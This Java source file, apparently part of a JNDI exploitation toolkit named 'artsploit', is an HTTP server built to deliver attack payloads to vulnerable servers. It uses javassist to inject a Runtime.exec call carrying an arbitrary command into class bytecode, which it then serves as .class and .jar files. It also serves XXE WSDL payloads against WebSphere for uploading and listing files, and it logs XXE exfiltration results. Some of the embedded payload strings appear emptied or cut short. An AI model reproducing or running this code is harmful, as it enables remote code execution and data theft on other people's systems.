package artsploit; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.lang3.reflect.FieldUtils; import org.reflections.Reflections; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.net.InetSocketAddress; import java.util.concurrent.Executors; import java.util.jar.JarOutputStream; import java.util.zip.ZipEntry; import static org.apache.commons.text.StringEscapeUtils.escapeJava; public class HttpServer implements HttpHandler { byte[] exportByteCode; byte[] exportJar; public static void start() throws Exception { System.out.println("Starting HTTP server on 0.0.0.0:" + Config.httpPort); com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(Config.httpPort), 10); httpServer.createContext("/", new HttpServer()); httpServer.setExecutor(Executors.newCachedThreadPool()); httpServer.start(); } public HttpServer() throws Exception { exportByteCode = patchBytecode(ExportObject.class, Config.command, "xExportObject"); exportJar = createJar(exportByteCode, "xExportObject"); } /** * Patch the bytecode of supplied class constructor by injecting execution of a command */ byte[] patchBytecode(Class clazz, String command, String newName) throws Exception { //load ExploitObject.class bytecode ClassPool classPool = ClassPool.getDefault(); CtClass exploitClass = classPool.get(clazz.getName()); //patch its bytecode by adding a new command CtConstructor m = exploitClass.getConstructors()[0]; m.insertBefore("{ Runtime.getRuntime().exec(\"" + escapeJava(command) + "\"); }"); exploitClass.setName(newName); exploitClass.detach(); return exploitClass.toBytecode(); } /** * Create an executable jar based on supplied bytecode */ byte[] createJar(byte[] exportByteCode, String className) throws Exception { ByteArrayOutputStream bout = new ByteArrayOutputStream(); JarOutputStream jarOut = new JarOutputStream(bout); jarOut.putNextEntry(new ZipEntry(className + ".class")); jarOut.write(exportByteCode); jarOut.closeEntry(); jarOut.close(); bout.close(); return bout.toByteArray(); } public void handle(HttpExchange httpExchange) { try { String path = httpExchange.getRequestURI().getPath(); System.out.println("new http request from " + httpExchange.getRemoteAddress() + " asking for " + path); switch (path) { case "/xExportObject.class": //send xExportObject bytecode back to client httpExchange.sendResponseHeaders(200, exportByteCode.length); httpExchange.getResponseBody().write(exportByteCode); break; case "/xExportObject.jar": //send xExportObject bytecode in a jar archive //payload for artsploit.controllers.WebSphere1-2 httpExchange.sendResponseHeaders(200, exportJar.length+1); httpExchange.getResponseBody().write(exportJar); System.out.println("Stalling connection for 60 seconds"); Thread.sleep(60000); System.out.println("Release stalling..."); break; case "/upload.wsdl": //payload for artsploit.controllers.WebSphere1-2 //intended to upload xExploitObject.jar into the /temp directory on server String uploadWsdl = ""; httpExchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); httpExchange.getResponseBody().write(uploadWsdl.getBytes()); break; case "/xx.http": //payload for artsploit.controllers.WebSphere1-2 //second part for upload.wsdl String xxhttp = "'>'>%ccc;"; httpExchange.sendResponseHeaders(200, xxhttp.getBytes().length); httpExchange.getResponseBody().write(xxhttp.getBytes()); break; case "/list.wsdl": //payload for artsploit.controllers.WebSphere1-2 //intended to list files in the /temp directory on server String listWsdl = "" + "\n" + " \n" + " %bbb;\n" + "]>\n" + "\n" + " &ddd;\n" + ""; httpExchange.sendResponseHeaders(200, listWsdl.getBytes().length); httpExchange.getResponseBody().write(listWsdl.getBytes()); break; case "/xxeLog": //xxe logger for websphere wsdl payloads //hacky way to access private fields of (Request)((ExchangeImpl)((HttpExchangeImpl)httpExchange).impl).req Object exchangeImpl = FieldUtils.readField(httpExchange, "impl", true); Object request = FieldUtils.readField(exchangeImpl, "req", true); String startLine = (String) FieldUtils.readField(request, "startLine", true); System.out.println("\u001B[31mxxe attack result: " + startLine + "\u001B[0m"); httpExchange.sendResponseHeaders(200, 0); break; default: httpExchange.sendResponseHeaders(200, 0); } httpExchange.close(); } catch(Exception e) { e.printStackTrace(); } } }